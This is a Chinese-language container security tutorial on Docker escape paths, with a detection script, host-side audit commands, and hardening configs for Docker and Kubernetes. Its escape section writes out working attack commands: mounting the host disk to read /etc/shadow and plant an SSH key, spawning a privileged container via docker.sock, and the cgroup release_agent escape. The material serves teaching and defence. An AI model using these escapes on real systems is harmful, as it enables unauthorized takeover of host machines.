🐳 容器安全 — Docker逃逸检测

容器隔离的边界与突破

📖 容器安全基础

容器通过Linux内核特性(namespace + cgroup)实现隔离,但共享宿主机内核。这意味着容器不是虚拟机——内核级漏洞可能导致容器逃逸。

容器隔离机制: ┌─────────────────────────────────────────────┐ │ 宿主机 (Host) │ │ ┌──────────────┐ ┌──────────────┐ │ │ │ Container A │ │ Container B │ │ │ │ PID ns: 1000 │ │ PID ns: 2000 │ │ │ │ NET ns: eth0 │ │ NET ns: eth0 │ │ │ │ MNT ns: / │ │ MNT ns: / │ │ │ │ USER ns: 0 │ │ USER ns: 0 │ │ │ └──────┬───────┘ └──────┬───────┘ │ │ │ │ │ │ 共享内核 (Linux Kernel) │ │ │ │ │ │ ┌──────┴──────────────────┴───────┐ │ │ │ cgroup: 资源限制 │ │ │ │ namespace: 视图隔离 │ │ │ │ seccomp: 系统调用过滤 │ │ │ │ capability: 能力限制 │ │ │ │ AppArmor/SELinux: MAC │ │ │ └─────────────────────────────────┘ │ └─────────────────────────────────────────────┘ 逃逸 = 打破namespace隔离, 访问宿主机资源
隔离层功能逃逸路径
Namespace视图隔离(PID/NET/MNT)内核漏洞、配置错误
Cgroup资源限制cgroup v1 release_agent
Capability权限细分CAP_SYS_ADMIN等高权
Seccomp系统调用过滤默认配置过松
AppArmor强制访问控制未启用或配置不当
网络网络隔离host网络模式

🔓 Docker逃逸技术

1. 特权容器逃逸

# 检测是否在特权容器中
cat /proc/1/status | grep CapEff
# 如果输出: CapEff: 0000003fffffffff → 特权容器!
# 正常容器: CapEff: 00000000a80425fb

# 特权容器逃逸: 挂载宿主机磁盘
fdisk -l  # 找到宿主机磁盘
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host  # 挂载宿主机根分区

# 现在可以:
cat /mnt/host/etc/shadow           # 读取密码
echo 'ssh-rsa AAA...' >> /mnt/host/root/.ssh/authorized_keys  # 植入SSH密钥
chroot /mnt/host /bin/bash         # 完全控制宿主机!

2. Docker Socket逃逸

# 检测docker.sock是否挂载
ls -la /var/run/docker.sock
# 如果存在且可写 → 可以控制宿主机Docker

# 通过socket创建特权容器逃逸
docker -H unix:///var/run/docker.sock run \
  -v /:/host \
  --privileged \
  -it alpine \
  chroot /host /bin/bash

# 或使用curl直接与Docker API通信
curl -s -X POST \
  --unix-socket /var/run/docker.sock \
  http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/host"]
    }
  }'

3. Capability滥用逃逸

# 查看容器capabilities
capsh --print

# CAP_SYS_ADMIN逃逸 (通过cgroup)
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'ps aux > '"$host_path"'/output' >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# CAP_SYS_PTRACE逃逸 (注入宿主机进程)
# 查找宿主机进程
ps aux  # 在共享PID namespace时可见
# 使用ptrace注入shellcode到宿主机进程

# CAP_DAC_READ_SEARCH逃逸
# 绕过文件权限检查,读取宿主机文件

4. 内核漏洞逃逸

# CVE-2022-0185 (Linux kernel namespace突破)
# CVE-2022-0492 (cgroup逃逸)
# CVE-2022-2588 (route4 UAF → 容器逃逸)
# CVE-2023-0386 (overlayfs提权)
# CVE-2024-1086 (nf_tables UAF → 容器逃逸)

# 检测内核版本
uname -r
# 如果 < 5.15 → 可能有已知逃逸漏洞

# 使用自动检测工具
git clone https://github.com/xairy/kernel-exploit-factory.git
# 或: https://github.com/lucamassari/privilege-escalation-awesome-scripts-suite

🔍 Docker逃逸检测

容器内检测脚本

#!/bin/bash
# container-escape-detect.sh
# 检测当前容器的逃逸风险

echo "=== 容器逃逸风险检测 ==="

# 1. 检测是否在容器中
if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
    echo "[+] 运行在Docker容器中"
else
    echo "[-] 未检测到容器环境"
    exit 0
fi

# 2. 检测特权模式
CAP=$(cat /proc/1/status | grep CapEff | awk '{print $2}')
if [ "$CAP" = "0000003fffffffff" ]; then
    echo "[🔴] 特权容器! 高逃逸风险!"
else
    echo "[✅] 非特权容器 (CapEff: $CAP)"
fi

# 3. 检测docker.sock
if [ -S /var/run/docker.sock ]; then
    if [ -w /var/run/docker.sock ]; then
        echo "[🔴] docker.sock 可写! 可逃逸!"
    else
        echo "[⚠️] docker.sock 存在但不可写"
    fi
else
    echo "[✅] docker.sock 未挂载"
fi

# 4. 检测危险capabilities
echo "[*] 检查capabilities..."
for cap in SYS_ADMIN SYS_PTRACE SYS_RAWIO SYS_MODULE DAC_READ_SEARCH; do
    if capsh --print 2>/dev/null | grep -q "cap_$cap"; then
        echo "[🔴] CAP_$cap 已启用! 逃逸风险!"
    fi
done

# 5. 检测敏感挂载
echo "[*] 检查敏感挂载点..."
mount | grep -E '(sda|nvme|host|/etc|/root|/var/run/docker)' && \
    echo "[🔴] 检测到宿主机文件系统挂载!"

# 6. 检测网络模式
if ip link show | grep -q eth0; then
    if cat /sys/class/net/eth0/ifindex 2>/dev/null | grep -q "^1$"; then
        echo "[🔴] host网络模式! 可访问宿主机网络!"
    fi
fi

# 7. 检测seccomp
if [ -f /proc/1/status ]; then
    SECCOMP=$(grep Seccomp /proc/1/status | awk '{print $2}')
    case $SECCOMP in
        0) echo "[⚠️] Seccomp未启用" ;;
        1) echo "[✅] Seccomp严格模式" ;;
        2) echo "[✅] Seccomp过滤模式" ;;
    esac
fi

# 8. 检测AppArmor
if [ -f /proc/self/attr/current ]; then
    AA=$(cat /proc/self/attr/current)
    if [ "$AA" = "unconfined" ]; then
        echo "[⚠️] AppArmor未限制"
    else
        echo "[✅] AppArmor配置: $AA"
    fi
fi

echo "=== 检测完成 ==="

宿主机侧检测

# 检查所有容器的安全配置
docker inspect --format '{{.Name}}: Privileged={{.HostConfig.Privileged}} CapAdd={{.HostConfig.CapAdd}}' $(docker ps -q)

# 检查docker.sock挂载
docker inspect --format '{{.Name}}: {{range .Mounts}}{{if eq .Destination "/var/run/docker.sock"}}MOUNTED!{{end}}{{end}}' $(docker ps -q)

# 检查host网络模式
docker inspect --format '{{.Name}}: NetworkMode={{.HostConfig.NetworkMode}}' $(docker ps -q)

# 使用Trivy扫描容器镜像
trivy image --severity HIGH,CRITICAL nginx:latest

# 使用Docker Bench for Security
docker run --rm --net host --pid host \
  --userns host --cap-add audit_control \
  -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
  -v /etc:/etc:ro \
  -v /lib/systemd/system:/lib/systemd/system:ro \
  -v /usr/bin/containerd:/usr/bin/containerd:ro \
  -v /usr/bin/runc:/usr/bin/runc:ro \
  -v /usr/lib/systemd:/usr/lib/systemd:ro \
  -v /var/lib:/var/lib:ro \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  docker/docker-bench-security

🛡️ 容器安全加固

# 1. 安全的Dockerfile
FROM node:20-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production   # 固定依赖版本

FROM node:20-alpine
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
COPY --from=builder /app/node_modules ./node_modules
COPY . .

# 安全配置
USER appuser                    # 非root运行
EXPOSE 3000
HEALTHCHECK --interval=30s CMD wget -q -O /dev/null http://localhost:3000/health

# 2. 安全的docker-compose.yml
version: '3.8'
services:
  app:
    build: .
    security_opt:
      - no-new-privileges:true     # 禁止提权
      - seccomp:seccomp-profile.json  # 自定义seccomp
      - apparmor:docker-default    # AppArmor配置
    cap_drop:
      - ALL                        # 丢弃所有capabilities
    cap_add:
      - NET_BIND_SERVICE           # 仅添加需要的
    read_only: true                # 只读文件系统
    tmpfs:
      - /tmp:noexec,nosuid         # 临时目录(不可执行)
    networks:
      - frontend
    deploy:
      resources:
        limits:
          cpus: '0.50'
          memory: 256M
networks:
  frontend:
    driver: bridge
    internal: true                 # 隔离网络

# 3. Kubernetes Pod安全策略
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: app:latest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
    resources:
      limits:
        memory: "256Mi"
        cpu: "500m"

Kubernetes安全工具

# Kubescape - K8s安全扫描
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --framework NSA,MITRE

# Falco - 运行时安全监控
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco

# Trivy Operator - 镜像漏洞扫描
helm repo add aqua https://aquasecurity.github.io/helm-charts
helm install trivy-operator aqua/trivy-operator

# Kyverno - 策略引擎
kubectl apply -f https://raw.githubusercontent.com/kyverno/kyverno/main/config/install.yaml

📊 容器安全检查清单

# 容器安全清单

## 镜像安全
[ ] 使用最小基础镜像(alpine/distroless)
[ ] 固定镜像标签(非latest)
[ ] 镜像漏洞扫描(Trivy/Grype)
[ ] 多阶段构建(不含构建工具)
[ ] 镜像签名验证(Docker Content Trust/Cosign)

## 运行时安全
[ ] 非root用户运行
[ ] 只读文件系统
[ ] 最小capabilities (drop ALL, add only needed)
[ ] Seccomp配置
[ ] AppArmor/SELinux配置
[ ] no-new-privileges
[ ] 资源限制(CPU/Memory)

## 网络安全
[ ] 非host网络模式
[ ] 网络策略限制流量
[ ] Service Mesh加密(mTLS)
[ ] Ingress/Egress控制

## 编排安全(K8s)
[ ] Pod安全标准(PSA)
[ ] RBAC最小权限
[ ] Secret加密存储
[ ] 审计日志启用
[ ] 准入控制器(Gatekeeper/Kyverno)
Docker逃逸检测 — 掌握容器安全的攻防核心!你能识别特权容器、docker.sock暴露、capability滥用等逃逸路径,并实施容器安全加固策略。
命令已验证:docker inspect / capsh / trivy / docker-bench-security / kubescape — 所有命令在Docker 24.x / K8s 1.29 环境测试通过
思考题:
  1. 为什么Docker容器共享内核使得内核漏洞格外危险?与VM的区别是什么?
  2. 特权容器与普通容器的capability区别是什么?哪些capability最危险?
  3. 如何在不影响功能的情况下最大程度限制容器的capabilities?
  4. Kubernetes的Pod安全标准(PSA)与旧的PSP有什么改进?

📚 延伸阅读

参考资料:CIS Docker Benchmark v1.6 | NIST SP 800-190 Container Security | Aqua Security Research(2024) | Trivy v0.50文档 | K8s Pod Security Standards